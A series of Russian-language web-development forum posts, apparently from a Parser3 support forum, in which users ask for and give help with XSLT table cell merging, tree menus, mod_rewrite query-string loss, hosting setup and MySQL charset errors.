А теперь вопрос как сделать так:\
|__item1__|__item 2__|__item 3__|\
|................|.................|____1_____|\
|____1____|____2_____|____4_____|\
|____5____|____2_____|____1_____|\
|____1____|____2_____|____2_____|\
\
вместо точек - пробелы. (объединение ячеек)\
\
Говоря простым языком я хочу объеденить ячейки первого и второго столбца. Причем в первом столбце я просто объединяю если одинаковые данные в соседних ячеках, а во втором столбце я объединяю такое количество ячеек, сколько объединено в первом. И при всем при этом такие же данные могут присутствовать в других столбцах, и в этом же столбце но на несколько строк ниже.\
\
Спасибо заранее."
"57030","У меня есть код, решающий проблему объединения ячеек в одном столбце, с учетом повторяемости данных в строках. а выглядит это следующим образом:\
\
<?xml version=\"1.0\" encoding=\"windows-1251\"?> \
<xsl:stylesheet version=\"1.0\" xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\"> \
\
<xsl:output method='html'/> \
\
<xsl:template match=\"root\"> \
<html xmlns=\"http://www.w3.org/1999/xhtml\" xml:lang=\"ru\">\
<head>\
<style TYPE=\"text/css\">\
table td {\
  font-size:14;\
}\
p{\
  font-size:14;\
}\
</style>\
</head>\
<body> \
<p>\
\
<xsl:apply-templates/> \
\
</p>\
</body>\
\
</html> \
</xsl:template> \
\
//обрабатываем все остальные столбцы\
<xsl:template match=\"*\"> \
<td> \
    <xsl:apply-templates/> \
    <xsl:if test=\"current()=''\">\
	<xsl:text>&#160;</xsl:text>\
	</xsl:if>\
</td> \
</xsl:template> \
\
//обрабатываем наши столбцы\
<xsl:template match=\" item1 | item2 \"> \
    <xsl:variable name=\"pos\" select=\"position()\"/>\
    <xsl:variable name=\"val\" select=\".\"/>\
    <xsl:if test=\"not(../preceding-sibling::*[1]/*[$pos and .=$val])\">\
     <xsl:variable name=\"rowspan\">\
      <xsl:apply-templates select=\".\" mode=\"calc-rowspan\"/>\
     </xsl:variable>\
     <td rowspan=\"{$rowspan}\">\
      <xsl:value-of select=\".\"/>\
     </td>\
    </xsl:if>\
</xsl:template> \
\
<xsl:template match=\" item1 | item2 \" mode=\"calc-rowspan\">\
  <xsl:param name=\"i\" select=\"1\"/>\
  <xsl:variable name=\"pos\" select=\"position()\"/>\
  <xsl:variable name=\"val\" select=\".\"/>\
  <xsl:variable name=\"next\" select=\"../following-sibling::*[1]/*[$pos and .=$val]\"/>\
  <xsl:choose>\
   <xsl:when test=\"$next\">\
    <xsl:apply-templates select=\"$next\" mode=\"calc-rowspan\">\
     <xsl:with-param name=\"i\" select=\"$i + 1\"/>\
    </xsl:apply-templates>\
   </xsl:when>\
   <xsl:otherwise><xsl:value-of select=\"$i\"/></xsl:otherwise>\
  </xsl:choose>\
 </xsl:template>\
\
</xsl:stylesheet>"
"57033","Можете поделиться в какой практической задаче вам такое потребовалось и почему получился такой странный XML (item1, item2, ...)? понимаю итемы не по порядку бы стояли..."
"57034","В какой задаче неважно. Все Item'ы -это пример данных. На самом деле хмл намного сложнее и навороченнее. Просто необходимо научиться объединять таким хитрым образом как описано в первом посте."
"57035","Unhandled Exception появляется после того, как вставляется &gt; (или любой подобный спец. символ HTML) в часть значения оператора ^if. Не могу сообразить, в чем дело. Как с этим бороться?\
\
[code]@breadcrumbs[]\
^if($request:uri eq \"/\"){<img src=\"/i/inhome.gif\">\
}{\
<a href=\"/\"><img src=\"/i/home.gif\">Главная страница</a> &gt; Страница}[/code]"
"57037","Мелочь, но все-равно неприятно. Не парсер, но вдруг кто знает. Ситуация такая.\
Имеем MySQL, Денвер, парсер, OS и Windows и FreeBSD.\
Форма ввода товара. Поле описания <textarea name=\"Description\">\
Вводим описание, разбиваем на строки. Пример\
[quote]\
Строка описания №1\
Строка описания №2\
[/quote]\
Сохраняем в БД.\
Потом выбираем из БД.\
Делаем так:\
[code]^Description.match[\\n][gi]{<br>}[/code]\
Получаем:\
[quote]\
Строка описания №1\
Строка описания №2\
[/quote]\
А делаем так:\
[code]<textarea>$Description</textarea>[/code]\
Получаем:\
[quote]\
Строка описания №1Строка описания №2\
[/quote]\
Хотя делаем так:\
[code]<textarea>^Description.match[\\n][gi]{<br>}</textarea>[/code]\
и получаем\
[quote]\
Строка описания №1<br>Строка описания №2\
[/quote]\
Т.е. разрыв \\n есть, а в элементе формы TEXTAREA разрыв строки не ставится. Вообще чисто теоретически я понимаю, что есть еще \\r, но ведь я же его не удаляю никуда.\
\
Если кто сталкивался, подскажите, как сделать, чтобы в TEXTAREA выводились все разрывы строк?\
Можно, конечно, сделать так:\
[code]<textarea>^Description.match[\\n][gi]{\
}</textarea>[/code]\
Но это ведь коряво?"
"57041","Есть задача: в адресной строке русские символы вместо части URL (как на Википедии).\
Через мод_реврайт получаю по запросу следующее\
\
$request:uri = [b]/%D0%BF%D1%80%D0%B5%D0%B2%D0%B5%D0%B4[/b]\
$form:uri = [b]РїСЂРµРІРµРґ[/b]\
(при этом в адресной строке остаются символы кирилицы,то,что и требовалось! Но надо же парсить...)\
\
так вот, существует ли метод, что бы из [b]абракадабры[/b] получить символы в кирилице?\
\
з.ы. на гугл не посылать - я только что от туда (:"
"57043","хм. написал большой ответ, вражеский firefox2 сгрыз.\
повторно писать длинно сил нет, коротко:\
[code]\
$response:charset[utf-8]\
$form:uri\
[/code]"
"57044","Мне нужна многоуровневая навигаци в виде дерева. Как построить дерево со всеми раскрытми ветками понятно. А как построить дерево с раскрытыми ветками ведущими к документу? Как [url=\"http://www.tnk-bp.ru/operations/exploration-production/\"]здесь[/url], например.\
\
[code]@main[]\
$catalog[^table::sql{\
	SELECT\
		parent_id,\
		id,\
		title\
	FROM\
		categories\
	ORDER BY 'title'\
}]\
\
$hashTree[^createHashTree[$catalog]]\
^printCategorysByParent[0]\
\
@printCategorysByParent[parent_id][categorys]\
^if($hashTree.[$parent_id]){\
	$categorys[$hashTree.[$parent_id]]\
	<div style=\"margin-left:20px^; margin-bottom:10px\">\
	^categorys.menu{\
		<div class=\"cl\"> \
			^if($categorys.id==$form:cid){\
				<b>$categorys.title</b> \
			}{\
				<a href=\"$host/?cid=$categorys.id\" class=\"black\">$categorys.title</a> \
			}\
		</div> \
		^if($hashTree.[$categorys.id]){^printCategorysByParent[$categorys.id]}\
	}\
	</div> \
}\
\
@createHashTree[table]\
$result[^table.hash[parent_id][$.distinct[tables]]][/code]"
"57046","Добавте в таблицу поле Thread - ветвь и просто извлекайте нужную вам информацию, то есть изменится только запрос\
[code]\
# для третьей позиции\
$iThreadId(3)\
$catalog[^table::sql{\
	SELECT\
		parent_id,\
		id,\
		title\
	FROM\
		categories\
	ORDER BY 'title'\
      WHERE thread_id='$iThreadId' OR parent_id='0'\
}]\
.......\
[/code]"
"57047","Мне наряду с открытым тредом требуется показывать и все остальные в закрытом виде. Я так понимаю, что Вы предлагаете показывать только один открытый тред."
"57049","обойдите ваш хеш таблиц в цикле начиная с $form:cid вверх до тех пор пока не дойдете до корневого элемента (parent_id = 0), и все элементы, которые будете перебирать (это - непосредственные родители выбранного элемента) помещайте в отдельный хеш. при выводе открывайте только те подветки, id элементов которых есть в этом хеше.\
\
всего должно получиться 4-7 строк кода.\
\
P.S. у меня всем этим занимается отдельный класс из 2 методов и пары структур."
"57050","добавление поля THREAD и изменение запроса полностью решает вашу задачу не затрагивая кода"
"57051","мы можем достать хоть все, но хотим показать лишь часть. это - разные задачи."
"57052","доставать все, но для этого вывода использовать\
$tLocalCatalog[^catalog.select($catalog.thread_id == $iThreadId || $catalog.parent_id == 0)]\
\
и создавать хэш на основе $tLocalCatalog"
"57053","Как я понимаю надо построить раскрывающееся дерево. Можно решить следующими способами:\
1. Построить раскрытое дерево, а потом Java скриптом рулить им, \
[url=\"http://www.artlebedev.ru/tools/technogrette/html/treeview/\"] пример [/url]\
2. Строить средствами Парсера(Большое спасибо Мише за его примеры):\
[code] \
@main[]\
^pSQL.server{\
# достаем не более 20 корневых сообщений (parent_id == 0)\
$rootMessages[^getMessagesByParent[0;20]]\
\
# достаем все сообщения в тредах, которые мы только что достали\
$messages[^getMessagesByThread[$rootMessages]]\
\
# создаем хеш, в котором ключи — id элемента, содержание — таблица со всеми их дочерними элементами\
$hashTree[^createHashTree[$messages]]\
\
# cоздаем хэш со всеми родителями текущего элемента(id) включая его самого.\
$ParentsForIdHash[^getParentsForIdHash[$form:id]]\
\
# выводим все его элементы в виде раскрывающегося дерева дерева\
^printMessagesByParent1[0]\
\
}\
\
@printMessagesByParent1[parent_id][levelmessages]\
###################################################################################################\
#\
^if($hashTree.[$parent_id]){\
	$levelmessages[$hashTree.[$parent_id]]\
       <ul>\
	^levelmessages.menu{	\
	    ^if(def $form:mid && $form:id == $levelmessages.forum_message_id){\
	         <li><a href=\"?id=$levelmessages.forum_message_id\"><b>$levelmessages.title</b></a></li>\
	       }{               \
                              ^if($form:id == $levelmessages.forum_message_id){\
		       <li><b>$levelmessages.title</b></li>\
	                                                                                                                }{\
		       <li ><a href=\"?id=$levelmessages.forum_message_id\">$levelmessages.title</a></li>\
	                                                                                                                    }	      \
	      }\
	      	      	      \
                ^if($parentsMessage.[$levelmessages.forum_message_id]){\
	        ^printMessagesByParent1[$levelmessages.forum_message_id]\
        }              \
        }\
       </ul>\
}\
#end @printMessagesByParent1[]\
[/code]"
"57054","[quot]\
А как построить дерево с раскрытыми ветками ведущими к документу?\
[/quot]\
\
это совсем не то, что вывести ветку с определенным thread_id (и не важно как доставать данные, с помощью sql select или parser select) в приведенном примере если кликнуть на \"Продажа нефти и нефтепродуктов\" то можно увидеть что есть ещё элементы, имеющие такой-же thread_id, но показывать их не нужно.\
\
вы продолжаете настаивать на том, что отображаемые данные нужно отдельно отобрать и показать все. я утвержждаю что делать этого не нужно, а можно при обходе всего дерева показывать лишь часть элементов по определенным условиям. в общем и та и та точка зрения по смоему верны, но мне ваша точка зрения не нравится идеологически (плюс с помощью её сложно сделать то, что спрашивали. точнее чтобы отобрать из начального набора только те ветки, которые нужно показывать вам все равно потребуется определить родителей, а потом потребуется делать ещё дополнительные телодвижения по отбору из начального набора чего-то там)."
"57056","Используй\
[code]^if($hashTree.[$categorys.id]){^printCategorysByParent[$categorys.id]}[/code]\
только когда $request:uri равен текущему URL записи."
"57057","На Арбатеке установлена CPanel, которая хранит в переменной $env:SERVER_NAME только имя головного домена. Для всех паралелльных доменов она не изменяется. В результате мои скрипты не могут понять откуда идет запрос, так как для них эта переменная выдает неверное значение.\
\
Вопрос, как мне узнать, что за домен был задан в запросе?"
"57059","Все таки стандарт только от 21 ноября 2006. Думаю, скоро появятся библиотеки и для него."
"57060","Но мне кажется, что практически не будет смысла его использовать, т.к. производительность \"кривого\" XSLT 1.0 будет даже быстрее, чем ответ быстрого XSLT 2.0 с удаленного сервера."
"57061","зачем вообще вам SERVER_NAME?\
у вас поддомены в разных каталогах?\
document_root у всех поддоменов разный?\
обработчики назначены разные?\
\
структура каталогов с объяснением что когда запускается сказала бы много больше."
"57063","ресурс: приватное хранение файлов, чтобы можно было ими пользоваться в любом месте с интернетом.\
требование: простая навигация деревом, с возможностью быстрого перехода по любым уровням, с возможностью закачки файлов в любую директорию.\
\
буду благодарен за предложения по разработке такого скрипта.\
спасибо!"
"57065","например здесь http://www.hotscripts.com/PHP/Scripts_and_Programs/File_Manipulation/File_Management/index.html"
"57067","Разобрался сам. Оказывается надо HTTP_HOST использовать, для того, чтобы узнать какой домен в запросе указан."
"57068","Запарился уже. Вот какая ошибка:\
\
Даю запрос: \
http://control.mysite.ru/?login=llll\
\
Выдает ответ такой:\
form:login = \
request:uri = /?login=llll\
\
А в скрипте явно прописано следующее:\
form:login = $form:login\
request:uri = $request:uri\
\
Вопрос, куда подевалось значение login???\
\
На локале все нормально работает."
"57069","хотя на тестовой странице видно что request:uri и request:query пусты. у вас тут все ок. нет идей."
"57071","hostpro.com.ua - нормальный хостинг. И цены и поддержка хорошие. Парсер не предустановлен, но я там уже запустил 2 сайта - если вы соберетесь - могу потерроризировать их на его установку мотивируя притоком клиентов. Если же они не поведутся - могу дать дрова под мускуль и собранный последний Парсер с хмл.\
\
Хостинг в Киеве, но есть возможность выбора между Киевом и США."
"57072","[url=\"http://1gb.com.ua/default.aspx?ti=6&hti=31\"]1gb.com.ua[/url]"
"57074","Я уже оплатил хостинг.\
Беда в том, что на тестовом бесплатном аккаунте у них работало все как по маслу.\
А на платном, то одно не работает, то другое...\
И как мне описать им про эту ошибку?"
"57075","- для начала рекомендую все таки почитать их faq-и, возможно там сказано про кеширование и как его отключить\
- потом [url=\"/download/utils/\"]скачать[/url] и положить на ваш сайт тестовую страницу и показать результаты её работы\
- затем стоит [url=\"/forum/?id=56811\"]посмотреть[/url] и показать нам, какие переменные окружения они устанавливают при вызове handler-а.\
- если выяснится, что выставляются не всё необходимое в соотв. со спецификацией (мы подскажем если что не так) - писать об этом, одновременно указывая на то, что выложенная ими [url=\"http://www.arbatek.ru/parser_test/?a=321\"]тестовая страница[/url] парсера не работает как положено.\
- ну и на самый крайний случая (думаю до этого не дойдет), наверняка они знают что такое money back."
"57078","[quote]> - для начала рекомендую все таки почитать их faq-и,\
> возможно там сказано про кеширование и как его отключить[/quote]\
\
Не нашел ничего похожего. И не очень понятно о каком кешировании идет\
речь и как это соотносится с моей проблемой.\
\
[quote]> - потом скачать и положить на ваш сайт тестовую\
> страницу и показать результаты её работы[/quote]\
\
http://delta-x.info/_test/test.p\
http://delta-x.info/_test/parser3test_english.p\
\
[quote]> - затем стоит посмотреть и показать нам, какие\
> переменные окружения они устанавливают при вызове handler-а.[/quote]\
\
[code]HTTP_USER_AGENT=Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; MRA 4.6 (build 01425); .NET CLR 1.1.4322)\
SERVER_PORT=80\
HTTP_HOST=delta-x.info\
DOCUMENT_ROOT=/home/<mylogin>/public_html\
SCRIPT_FILENAME=/home/<mylogin>/public_html/cgi-bin/parser3/parser3.cgi\
REQUEST_URI=/\
SCRIPT_NAME=/cgi-bin/parser3/parser3.cgi\
HTTP_CONNECTION=Keep-Alive\
PATH_INFO=/sultana/start.p\
REMOTE_PORT=62084\
PATH=/usr/local/bin:/usr/bin:/bin\
PWD=/home/<mylogin>/public_html/cgi-bin/parser3\
SERVER_ADMIN=webmaster@delta-x.info\
REDIRECT_STATUS=403\
HTTP_ACCEPT_LANGUAGE=ru\
PATH_TRANSLATED=/home/<mylogin>/public_html/sultana/start.p\
HTTP_ACCEPT=image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/msword, application/vnd.ms-powerpoint, application/x-icq, */*\
REMOTE_ADDR=81.201.28.7\
SHLVL=1\
SERVER_NAME=www.delta-x.info\
HTTP_UA_CPU=x86\
SERVER_SOFTWARE=Apache/1.3.37 (Unix) mod_auth_passthrough/1.8 mod_log_bytes/1.2 mod_bwlimited/1.4 FrontPage/5.0.2.2635.SR1.2 mod_ssl/2.8.28 OpenSSL/0.9.7a PHP-CGI/0.1b\
QUERY_STRING=\
SERVER_ADDR=81.177.43.147\
GATEWAY_INTERFACE=CGI/1.1\
SERVER_PROTOCOL=HTTP/1.1\
HTTP_ACCEPT_ENCODING=gzip, deflate\
REDIRECT_URL=/sultana/start.p\
REQUEST_METHOD=GET\
HTTP_COOKIE=selectedSiteId=control; hackerConsole=0; test=ABC\
_=/usr/bin/env\
done[/code]"
"57079","http://delta-x.info/_test/test.p?a=321&b=%C0&b=%C1&b=%C2%C3%C4?ABC#forms\
\
смотрим на:\
$form:a: 321\
Safe преобразование $form:a в целое число: ^form:a.int(1): 321\
1 значение $form:b: А \
2 значение $form:b: Б \
3 значение $form:b: ВГД \
$form:qtail: ABC\
\
более того видим что и $env:SERVER_NAME на который вы раньше ругались тоже содержит корректное значение.\
\
т.е. ошибка где-то в вашем коде. возможно прав ПАФ и вы делаете rewrite без [QSA] (парсер имеет фичу, согласно которой в $request:uri то, что было _до_ rewrite)"
"57080","Да, у меня действительно есть такая команда:\
\
RewriteRule ... [QSA,L]\
\
Я поменял на\
\
RewriteRule ... [L]\
\
но ничего не изменилось. Проблема осталась."
"57082","Правда я не знал для чего он нужен именно парсеру.\
И скрипт я сократил дальше некуда.\
Написал такой:\
\
@main[]\
$form:testParam<br>\
$request:uri\
\
И выдает он пусто, хотя в uri все как надо.\
\
Куда оно девается???\
\
Да, вы правы, дело похоже в этом rewrite. Если напрямую обращаться к скрипту, то работает он верно. Если через мой rewrite, то с ошибкой. В .htaccess у меня записано вот что:\
\
RewriteEngine on\
RewriteOptions inherit\
\
RewriteCond	%{REQUEST_FILENAME}	!-f\
RewriteCond	%{REQUEST_FILENAME}	!-d\
RewriteRule	^.*$	sultana/start.p	[QSA,L]\
\
Всюду и на локалке он работал отлично. В чем дело с Арбатековским сервером?"
"57083","для чего он нужен сказано в документации по mod_rewrite\
\
но похоже в вашем случае с ним есть проблема (последняя надежда: попробуйте поменять ключи местами и написать [L,QSA])\
\
если не заработает, то ещё попробуйте написать [L,R,QSA], обратиться к документу указав параметр (http://.../?test=1) и посмотреть, куда вас перебросит rewrite. должен перебросить на http://.../sultana/start.p?test=1, если это не так - пишите в саппорт и описывайте вашу проблему с mod_rewrite (вначале проверьте их faq на наличие там информации по mod_rewrite). \
\
парсер тут не при чем, до него просто не доходят get параметры после rewrite."
"57084","Поменял местами - не помогло.\
Записал L,R,QSA - теперь страница не выдается вообще никакая. Броузер висит, чего-то ждет. Похоже до бесконечности собирается так висеть."
"57085","Есть у кого-нибудь P3 под Unix сервер?"
"57086","Я делаю такую переадресацию:\
\
[code]RewriteCond	%{REQUEST_FILENAME}	!-f\
RewriteCond	%{REQUEST_FILENAME}	!-d\
RewriteRule	^.*$	sultana/start.p	[QSA,L][/code]\
\
Как это сделать другими средствами?\
Чтобы параметры из get-запроса сохранялись."
"57090","Сколько [url=\"http://www.knizheknet.msk.ru/www.knizhek.net_112.rar\"]ссылка проживёт не знаю[/url].\
\
Сам учился по ней. Очень подробно и с примерами всё расписано. Примеров Parser само-собой нет, однако эта книжка на мой взгляд одна из лучших."
"57092","Возможно, что дома у вас 1.3, а на хостинге 2.x\
\
В этом случае, может быть так:  вместо вашего скрипта RewriteRule отрабатывает ошибку, например 403 или 404.\
\
Как такое происходит?\
\
Один из часто встречающихся примеров: серверу запрещено отображать содержимое директорий (index).\
\
Делаем запрос: www.you-server.com/any-dir/. \
Директория any-dir существует, но она пуста (что и сбивает с толку разработчика).\
\
Вы ожидаете, что с помощью RewriteRule будет сделан редирект на ваш скрипт с сохранением всех переменных окружения и т.д.\
\
Но этого не происходит. \
Веб-сервер в результате подзапроса выдает страницу с кодом ошибки – \"403 доступ запрещен \", что совершенно верно: нельзя отображать содержимое директорий.\
\
Выдача этой страницы (например, error403.html) реализуется в форме подзапроса /error403.html. К нему применяется RewriteRule и делает редирект на ваш скрипт. \
Редирект этот происходит не с вызываемого адреса /any-dir/, а с /error403.html.[!]\
 \
Увидев результаты выполнения скрипта, вы полагаете, что правило RewriteRule отработалось именно так, как вами было задумано. Просто куда-то \"исчезли\" переменные.\
\
И вместо того, чтобы смотреть в error.log вы начинаете мучить RewriteMod.\
\
Возможное решение проблемы в приведенном примере:\
\
RewriteCond %{REQUEST_FILENAME} !-f\
RewriteCond %{REQUEST_FILENAME}index.html !-f\
RewriteRule _ваше_преобразование_ [QSA,L]\
\
Поэтому рекомендую внимательно изучить error.log и изучить свои запросы.\
Если это не поможет - настройте и читайте rewrite.log."
"57094","[quote]RewriteCond %{REQUEST_FILENAME} !-f\
RewriteCond %{REQUEST_FILENAME}index.html !-f[/quote]\
Пример немного не о том.\
\
Его суть в том, что если существует директория, но в ней нет index.html (или какой файл(ы) у вас является индексом по умолчанию?), то возможна ошибка не только 403 но и 404, т.к. запрос /any-dir/ транформируется в /any-dir/index.html.\
\
/any-dir/ - существует\
/any-dir/index.html - не существует.\
\
Следовательно, возникает ошибка. \
А что происходит дальше - см. пред. пост."
"57096","Написал на досуге графический счётчик посещений, который учитывает уникальных посетителей (хосты) и заходы на страницу (хиты). Все подробности в [url=\"http://www.spearance.ru/parser3/statistic/\"]примере[/url]."
"57101","Перехожу на Петерхост.Ру, благо там есть ресселинг. И FreeBCD, с которой никогда не было проблем. А с Linux всегда необжиданные проблемы. Да CPanel Арбатекова подвела, не дает направить домены на любые каталоги, только на те, что сама предлагает.\
\
Все спасибо за помощь! Все посты сохранил, думаю пригодятся в работе."
"57103","что только не пробывал, и UTF-8 и windows-1251 и в парсере (в нужном месте) прописывал ClientCharset... все время возвращает\
 вместо кирилицы [b]\"???????????\"[/b] (а в пхпмайадмин под MySQL Charset: UTF-8 Unicode (utf8) - все нормально видно)\
\
что делать? в чем может быть причина?\
\
З.Ы. данные в БД вводил и через пхпмайадмин и через обращение парсера (^void[]) - одинаковый результат :( помогите, чем сможете...\
\
P.P.S. [url=\"http://zabablo.co.ua/code/flash:oop-is-good\"]наочный пример[/url]"
"57107","Здравствуйте.\
Вот я, как человек который только приступил щупать Парсер, начал с раздела [url=\"http://www.parser.ru/docs/lang/\"]ДОКУМЕНТАЦИЯ[/url]. Думаю это было разумным шагом.\
НО к моему большому сажалению у меня начались проблемы уже на втором уроке. Вот здесь: if($sections.uri eq $request:uri), делаю все что написано, перебрал все что мог (учитывая мое небольшое количество знаний...), но он все время выводит для всех полей таблицы sections.cfg {код если условие \"ложь\"}.\
Если же например поменять оператор с eq на ne, то соответственно выводит для всех {код если условие \"истина\"} - но это ежу понятно.\
Вобщем не убирает он у меня ссылку и не не перекрашевает в #A2D0F2 пункт меню \"Главная\". С чем бы это могло быть связанно? С кривостью рук?\
\
\
Пользуюсь хостингом 1gb.ru.\
мой горе-результат можно увидеть здесь: http://rosloskut.ru/"
"57109","После названий разделов поставьте и посмотрите что возвращают:\
$sections.uri<br>\
$request:uri\
\
зы: Глянул как сделано у меня, и стало страшно(давно делал)"
"57110","такс. $request:uri возвращает /index.html? (интересно что это за вопросительный знак?)\
ээ. да. деревня я. ни чего не понял."
"57112","http://www.parser.ru/docs/lang/opin.htm"
"57114","У меня такой код:\
\
[code]RewriteCond %{HTTP_HOST} ^forum.site.ru$ [OR]\
RewriteCond %{HTTP_HOST} ^www.forum.site.ru$\
RewriteCond %{REQUEST_URI} !^/forum.*$\
RewriteRule ^.*$ /forum [QSA,L][/code]\
\
Он работает, но мне нужно замаскировать каталог forum.\
\
То есть при наборе запроса \
\
[code]http://forum.site.ru/[/code]\
\
должно высвечиваться\
\
[code]http://forum.site.ru/install/install.php (это на примере phpBB).[/code]\
\
А вместо этого высвечивается \
\
[code]http://forum.site.ru/forum/install/install.php[/code]\
\
Так вот forum из запроса надо скрыть средствами mod_rewrite или чем либо.\
\
Как это сделать?"
"57116","http://www.parser.ru/forum/?terms=%2Biis+%2Bindex.html&author=&doSearch=%CD%E0%E9%F2%E8"
"57117","Добрый день, подскажите, пожалуйста, в чем может быть причина?\
 \
Есть два сайта на мастерхосте, оба используют одну и ту же версию парсера, соотв подключение к базе везде одинаковое. \
\
$MAIN:pSQL[^mysql::init[mysql://base:pass@base.mysql.masterhost.ru/base;$.is_debug(1)]]\
\
С первым сайтом все нормально. Второй тож работает, но на страницах на которых происх запросы к БД выдается 500 ошибка, в логе пишет\
\
'mysql://****@localhost/base' Can't connect to local MySQL server through socket '/tmp/mysql.sock' (2) [sql.connect]"
"57118","http://www.parser.ru/forum/?terms=%22connect+to+local+MySQL+server+through+socket%22&author=&doSearch=%CD%E0%E9%F2%E8"
"57119","У, т.е. как понимает мой гениальный мозг, что если перевестись на apache то все будет замечательно?"
"57120","другой — отрезать index.html из запроса."
"57121","Я почитал форум и решил что с IIS больше проблем чем Apache. Поэтому перевелся на него.\
Это был оправданный поступок? =)"
"57123","А что это за конструктор (table::set) такой?\
\
[code]^table::set{ext	mime-type\
zip	application/zip\
doc	application/msword\
xls	application/vnd.ms-excel\
pdf	application/pdf\
...[/code]\
\
Я его взял ил auto.p, который вместе с Парсером поставляется."
"57124","[url=\"http://www.parser.ru/docs/src/table_8C-source.htm#l01060\"]table_8C-source.htm#l01060[/url]\
\
[code]01061    // ^table::create{data}\
01062    // ^table::create[nameless]{data}\
01063    // ^table::create[table]\
01064    add_native_method(\"create\", Method::CT_DYNAMIC, _create, 1, 2);\
01065    // old name for compatibility with <= v 1.141 2002/01/25 11:33:45 paf\
01066    add_native_method(\"set\", Method::CT_DYNAMIC, _create, 1, 2); [/code]\
\
Как видим, set ничем не отличается от create, а зачем он нужен поясняет комментарий ПАФа.\
\
Вывод: использовать create."
"57125","Кто может помочь скомпиленным парсером под CentOS 4.4 i686 GRPUNLIM? Скомпилировать самому нет возможнсти..."
"57128","Чем вас не устраивает версия для RedHat\
http://www.parser.ru/download/redhat/Linux Redhat"
"57129","Не могу понять, почему xsl-шаблон, созданный при помощи DOM-операций \
не работает в методе transform:\
\
[code]...\
$stylesheet[^xdoc::create[xsl:stylesheet]]\
$stylesheet.search-namespaces.xsl[http://www.w3.org/1999/XSL/Transform]\
^stylesheet.documentElement.setAttribute[xmlns:xsl;http://www.w3.org/1999/XSL/Transform]\
^stylesheet.documentElement.setAttribute[version;1.0]\
...\
^doc.transform[$stylesheet][/code]\
\
И выдает такую ошибку:\
\
[i]compilation error: file w:/home/site/proto1/sys/start.p element xsl:stylesheet xsltParseStylesheetProcess : document is not a stylesheet[/i]"
"57130","Почему вот этот код (используются полные пути к импортируемым шаблонам) работает как надо:\
\
[code]$result[^xdoc::create{<?xml version=\"1.0\" encoding=\"$request:charset\"?>\
	<xsl:stylesheet xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\" version=\"1.0\">\
	^for[i](0;$TEMPLATE.all-1){<xsl:import href=\"$request:document-root/$TEMPLATE.all.$i\"/>}\
	</xsl:stylesheet>\
}][/code]\
\
А вот этот код (используется базовый путь \"/\") дает ошибку:\
\
[code]$result[^xdoc::create[/]{<?xml version=\"1.0\" encoding=\"$request:charset\"?>\
	<xsl:stylesheet xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\" version=\"1.0\">\
	^for[i](0;$TEMPLATE.all-1){<xsl:import href=\"$TEMPLATE.all.$i\"/>}\
	</xsl:stylesheet>\
}][/code]\
\
Вот ошибка:\
\
[i]I/O warning : failed to load external entity \"w:///sys/templates/default/theme.xsl\" compilation error: file w:/home/site/proto1/ element import xsl:import : unable to load w:///sys/templates/default/theme.xsl [/i]\
\
Я тут пытался задать базовый путь [b]^xdoc::create[/]...[/b] и это не получилось. Для справки, переменная [b]$TEMPLATE.all.$i[/b] хранит в себе путь к шаблонам от корня веб-пространства."
"57131","Почему свойство не может быть junction? \
\
Пример:\
\
[code]@CLASS\
myClass\
\
@create[]\
\
@SET_prop[value]\
$MY.prop[$value][/code]\
\
---\
\
[code]$my[^myClass::create[]]\
\
$my.prop{\
	какой-нибудь код\
}[/code]\
\
Выдается такая ошибка: [i]property value can not be code, use [] or () brackets[/i]"
"57133","Забыл сказать, что нужно под платформу AMD.\
И напомню, что нужен grpunlim вариант."
"57134","[code]\
$my[^myClass::create[]]\
\
$_myprop{какой-нибудь код}\
$my.prop[$$_myprop]\
[/code]\
\
даже боюсь спрашивать зачем вам это нужно :-) изобретаете велик на воздушной подушке? :-)"
"57135","после того как все данные посланы в response вышеописанным способом, парсер пытается выдать туда же и заголовки \"стандартного\" ответа, в результате они дописываются в конец предыдущего вывода.\
Приходится их маскировать комментариями\
[code]\
...\
$console:line[<!-- ]\
 -->\
[/code]\
существует ли возможность в определенном случае полностью подавить вывод парсером каких либо заголовков ответа?"
"57136","а так не выходит:\
\
[code]^response:headers.foreach[header;]{\
	$response:[$header][]\
}[/code]\
\
?"
"57137","выдает[code]content-type: \
content-length: 0[/code]"
"57140","есть собранный под CentOS 4.4 Parser/3.2.1sp2 (compiled on x86_64-unknown-linux-gnu). На счет групп не помню."
"57144","В том то и дело, что ничего не нашёл."
"57145","http://www.parser.ru/forum/?id=49464"
"57147","Охренеть :)\
Спасибо млин =)"
"57149","Есть ли в XSLT | JavaScript'e | HTML функция, которая переносит строку таблицы на новую страницу, если ее содержимое полностью не помещается на странице? Это очень нужно при печати, чтобы не разбивать одну строку на 2 страницы.\
\
[b][i]Изначально есть XSLT-преобразование:[/i][/b]\
...\
<TABLE>\
  <TBODY>\
    <xsl:for-each select=\"Query2Table\">\
      <TR class=\"GridValue\">\
	<TD><xsl:number /></TD>\
	<TD align=\"left\"><xsl:value-of select=\"ФИО\" /></TD>\
	<TD><xsl:value-of select=\"Дата_рождения\" /></TD>\
	<TD><xsl:value-of select=\"Место_рождения\" /></TD>\
       </TR>\
     </xsl:for-each>\
   </TBODY>\
</TABLE>\
..."
"57150","Кто-нибудь делал загрузчик с указанием процентов загрузки страницы получаемой с помошью ajax'a?"
"57152","Как в Apache Swissknife экспортировать базы данных. аналогично phpmyadmin?"
"57153","соотв. просто так сказать xdoc-у, что ты мол, друг, оказывается живешь в другом namespace не получится.\
\
для того чтобы создать документ в определенном namespace нужно воспользоваться DOM2 методом createDocument с указанием namespaceURI. однако у парсера похоже такого метода пока нет (подобного метода не было в DOM1). так что создать подобный xdoc ручками похоже пока нельзя."
"57154","считаю что junction-property не имеет права на существование, ибо по сути это метод. метод и используйте.\
\
теперь по реализации: как ПАФ неоднократно объяснял junction-code и junction-variable в отличаются от junction-method. junction-method (это когда у нас есть @method[sParam] и мы можем проверять ^if($method is \"junction\"){...} или вызывать по имени: $sMethodName[method] $jMethod[$$sMethodName] ^jMethod[$sParam]) обладает полной функциональностью и довольно стабилен. это - метод, соотв. он может быть вызван из любого места кода, для него важно лишь чтобы ему были переданы необходимые параметры.\
\
